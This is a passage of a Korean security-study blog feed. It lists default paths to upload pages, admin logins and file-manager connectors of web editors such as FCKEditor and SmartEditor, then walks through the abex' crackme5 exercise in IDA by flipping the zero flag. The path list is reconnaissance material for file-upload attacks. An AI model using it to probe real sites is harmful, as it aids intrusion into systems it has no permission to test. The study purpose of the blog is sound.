&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/dext5upload/&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/dext5upload/sample/&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/com/dext5upload/&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/dext5upload/sample/index.html&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/dext5upload/sample/html/sample_upload.html&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/dext5upload/admin/jsp/login.jsp&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/dext5upload/admin/jsp/uploader_setting.jsp&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/samples/index.html&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/aspupload/file_upload.html&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;FCKEditor&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/fck/editor/&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/FCKeditor/&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/js/fckeditor/&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/fefitor/editor/fckeditor.html&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/fckeditor/editor/filemaneger/browser/default/browser.html&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/fckeditor/editor/filemaneger/connectors/test.html&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/fckeditor/editor/filemaneger/connectors/uploadtest.html&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/ediotr/filemanager/browser/default/browser.html&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/ediotr/editor/filemanager/browser/default/browser.html&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/HtmlEditor/_samples/default.html&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;SmartEditor&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/smarteditor/SmartEditor2.html&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/js/se2/SmartEditor2.html&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/nse/SmartEditor2.html&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/SmartEditor2.html&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/SmartEditorBasic/&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/SmartEditor2/&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/SmartEditorBasic/SEditorDemo.html&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/SEditor/popup/quick_photo/imgupload.jsp&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/smarteditor/photo_uploader/popup/file_uploader_html5.php&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/SE2/photo_uploader/popup/file_uploader_html5.php&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/smareteditor2/photo_uploader/popup/file_uploader_html5.php&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/smareteditor/popup/quick_photo/FileUploader_html5.php&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;&lt;span&gt;/plugin/smarteditor2/photo_uploader/popup/file_uploader_html5.php&lt;/span&gt;&lt;/div&gt;</description>
      <category>공부/해킹공부</category>
      <category>editor</category>
      <category>Editor 샘플페이지</category>
      <category>샘플페이지</category>
      <category>웹해킹</category>
      <category>해킹</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/119</guid>
      <comments>https://geru.tistory.com/119#entry119comment</comments>
      <pubDate>Sun, 13 Aug 2023 09:00:06 +0900</pubDate>
    </item>
    <item>
      <title>[abex' crackme] crackme5 문제</title>
      <link>https://geru.tistory.com/118</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;1.&amp;nbsp;crackme5.exe를&amp;nbsp;실행하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1125&quot; data-origin-height=&quot;634&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cKxxqy/btsqh1ZXgGO/nym3QjSzHcpWp3iZLUsMIk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cKxxqy/btsqh1ZXgGO/nym3QjSzHcpWp3iZLUsMIk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cKxxqy/btsqh1ZXgGO/nym3QjSzHcpWp3iZLUsMIk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcKxxqy%2Fbtsqh1ZXgGO%2Fnym3QjSzHcpWp3iZLUsMIk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1125&quot; height=&quot;634&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1125&quot; data-origin-height=&quot;634&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2.&amp;nbsp;입력&amp;nbsp;값&amp;nbsp;없이&amp;nbsp;바로&amp;nbsp;Ckeck를&amp;nbsp;실행하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;308&quot; data-origin-height=&quot;66&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/beNv87/btsp8X5bmPR/j0VKc1pIXNCcXDLYGw4Pr0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/beNv87/btsp8X5bmPR/j0VKc1pIXNCcXDLYGw4Pr0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/beNv87/btsp8X5bmPR/j0VKc1pIXNCcXDLYGw4Pr0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbeNv87%2Fbtsp8X5bmPR%2Fj0VKc1pIXNCcXDLYGw4Pr0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;308&quot; height=&quot;66&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;308&quot; data-origin-height=&quot;66&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3.&amp;nbsp;입력&amp;nbsp;값이&amp;nbsp;없거나&amp;nbsp;틀릴&amp;nbsp;시&amp;nbsp;다음과&amp;nbsp;같은&amp;nbsp;문자열이&amp;nbsp;출력되는&amp;nbsp;것을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;233&quot; data-origin-height=&quot;128&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c7Xd02/btsp7pOT25i/H4pmdQnZEoRrS07e6MbCa0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c7Xd02/btsp7pOT25i/H4pmdQnZEoRrS07e6MbCa0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c7Xd02/btsp7pOT25i/H4pmdQnZEoRrS07e6MbCa0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc7Xd02%2Fbtsp7pOT25i%2FH4pmdQnZEoRrS07e6MbCa0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;233&quot; height=&quot;128&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;233&quot; data-origin-height=&quot;128&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4.&amp;nbsp;아이다&amp;nbsp;툴에&amp;nbsp;해당&amp;nbsp;문자열을&amp;nbsp;검색하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;4.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bSX4Fe/btsqj2R0jWT/2QPkK71wSkozPHdrFHEXO0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bSX4Fe/btsqj2R0jWT/2QPkK71wSkozPHdrFHEXO0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bSX4Fe/btsqj2R0jWT/2QPkK71wSkozPHdrFHEXO0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbSX4Fe%2Fbtsqj2R0jWT%2F2QPkK71wSkozPHdrFHEXO0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;4.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5.&amp;nbsp;검색&amp;nbsp;후&amp;nbsp;그래프로&amp;nbsp;바꾸어서&amp;nbsp;오답과&amp;nbsp;정답이&amp;nbsp;나뉘는&amp;nbsp;분기&amp;nbsp;부분을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;5.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/buuzJC/btsp3lM2Qj4/1RQnULwVJPBV9txAHcxIy1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/buuzJC/btsp3lM2Qj4/1RQnULwVJPBV9txAHcxIy1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/buuzJC/btsp3lM2Qj4/1RQnULwVJPBV9txAHcxIy1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbuuzJC%2Fbtsp3lM2Qj4%2F1RQnULwVJPBV9txAHcxIy1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;5.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6.&amp;nbsp;동적&amp;nbsp;분석을&amp;nbsp;위해&amp;nbsp;&quot;11111111111111&quot;&amp;nbsp;테스트&amp;nbsp;값을&amp;nbsp;입력하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;6.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cYD4E8/btsp636gFyy/JZEGADdeJhxLeqaszLPZMK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cYD4E8/btsp636gFyy/JZEGADdeJhxLeqaszLPZMK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cYD4E8/btsp636gFyy/JZEGADdeJhxLeqaszLPZMK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcYD4E8%2Fbtsp636gFyy%2FJZEGADdeJhxLeqaszLPZMK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;6.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;7.&amp;nbsp;ZF&amp;nbsp;값이&amp;nbsp;0일때&amp;nbsp;오답&amp;nbsp;쪽으로&amp;nbsp;가는&amp;nbsp;것을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;7.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YuFZL/btsp7Jl1LY7/hM6NJTxY3mYpf2iajJQE80/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YuFZL/btsp7Jl1LY7/hM6NJTxY3mYpf2iajJQE80/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YuFZL/btsp7Jl1LY7/hM6NJTxY3mYpf2iajJQE80/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYuFZL%2Fbtsp7Jl1LY7%2FhM6NJTxY3mYpf2iajJQE80%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;7.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;8.&amp;nbsp;ZF&amp;nbsp;값을&amp;nbsp;1로&amp;nbsp;변조&amp;nbsp;시&amp;nbsp;정답&amp;nbsp;쪽으로&amp;nbsp;가는&amp;nbsp;것을&amp;nbsp;&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;8.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1Ivb6/btsp7T3b2hb/PRkAu9rbkFntd3eEjnvyjK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1Ivb6/btsp7T3b2hb/PRkAu9rbkFntd3eEjnvyjK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1Ivb6/btsp7T3b2hb/PRkAu9rbkFntd3eEjnvyjK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1Ivb6%2Fbtsp7T3b2hb%2FPRkAu9rbkFntd3eEjnvyjK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;8.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;9.&amp;nbsp;이제&amp;nbsp;ZF값을&amp;nbsp;변조하는&amp;nbsp;부분을&amp;nbsp;찾아봅시다.&amp;nbsp;바로&amp;nbsp;윗부분에&amp;nbsp;두&amp;nbsp;값을&amp;nbsp;비교하는&amp;nbsp;명령어인&amp;nbsp;cmp을&amp;nbsp;확인하였으며,&amp;nbsp;0&amp;nbsp;값과&amp;nbsp;eax&amp;nbsp;값을&amp;nbsp;비교하는&amp;nbsp;것을&amp;nbsp;확인하였습니다. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;이때&amp;nbsp;eax의&amp;nbsp;값은&amp;nbsp;1이므로&amp;nbsp;1&amp;nbsp;=/=&amp;nbsp;0&amp;nbsp;이므로&amp;nbsp;ZF값이&amp;nbsp;변하지&amp;nbsp;않는&amp;nbsp;것을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;9.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b4qgmo/btsqh1MqkVl/wavxtKGbFF19h0MmvM8ukk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b4qgmo/btsqh1MqkVl/wavxtKGbFF19h0MmvM8ukk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b4qgmo/btsqh1MqkVl/wavxtKGbFF19h0MmvM8ukk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb4qgmo%2Fbtsqh1MqkVl%2FwavxtKGbFF19h0MmvM8ukk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;9.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;10.&amp;nbsp;eax를&amp;nbsp;0으로&amp;nbsp;바꾸기&amp;nbsp;위해&amp;nbsp;윗부분에&amp;nbsp;call하는&amp;nbsp;lstrcmpiA함수를&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;10.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mbmUZ/btsp8zQV8Bj/0xPDSyJAxoWj5HnEROZ6D0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mbmUZ/btsp8zQV8Bj/0xPDSyJAxoWj5HnEROZ6D0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mbmUZ/btsp8zQV8Bj/0xPDSyJAxoWj5HnEROZ6D0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmbmUZ%2Fbtsp8zQV8Bj%2F0xPDSyJAxoWj5HnEROZ6D0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;10.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;11.&amp;nbsp;함수&amp;nbsp;내에서&amp;nbsp;lpString1과&amp;nbsp;lpString2를&amp;nbsp;인자로&amp;nbsp;받는&amp;nbsp;부분을&amp;nbsp;확인하였습니다. &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;예상으로&amp;nbsp;lpString1문자열과&amp;nbsp;lpString2문자열을&amp;nbsp;비교하는&amp;nbsp;함수로&amp;nbsp;추측되었습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;11.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eepC65/btsp9Yispzl/k6KZR267uj924fdC6yIhl0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eepC65/btsp9Yispzl/k6KZR267uj924fdC6yIhl0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eepC65/btsp9Yispzl/k6KZR267uj924fdC6yIhl0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeepC65%2Fbtsp9Yispzl%2Fk6KZR267uj924fdC6yIhl0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;11.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;12.&amp;nbsp;윗부분에서&amp;nbsp;lpString1이라고&amp;nbsp;주석이&amp;nbsp;달린&amp;nbsp;부분을&amp;nbsp;확인하였으며,&amp;nbsp;그&amp;nbsp;부분의&amp;nbsp;값을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;12.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bRD6w7/btsp35iZK49/NEWNWiMYpzO4mtY4qnsNik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bRD6w7/btsp35iZK49/NEWNWiMYpzO4mtY4qnsNik/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bRD6w7/btsp35iZK49/NEWNWiMYpzO4mtY4qnsNik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbRD6w7%2Fbtsp35iZK49%2FNEWNWiMYpzO4mtY4qnsNik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;12.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;13.&amp;nbsp;lpString2라는&amp;nbsp;주석이&amp;nbsp;달린&amp;nbsp;부분의&amp;nbsp;값&amp;nbsp;확인&amp;nbsp;시&amp;nbsp;&quot;11111111111111&quot;&amp;nbsp;테스트&amp;nbsp;값과&amp;nbsp;유사한&amp;nbsp;값이&amp;nbsp;확인되었습니다.&lt;/p&gt;
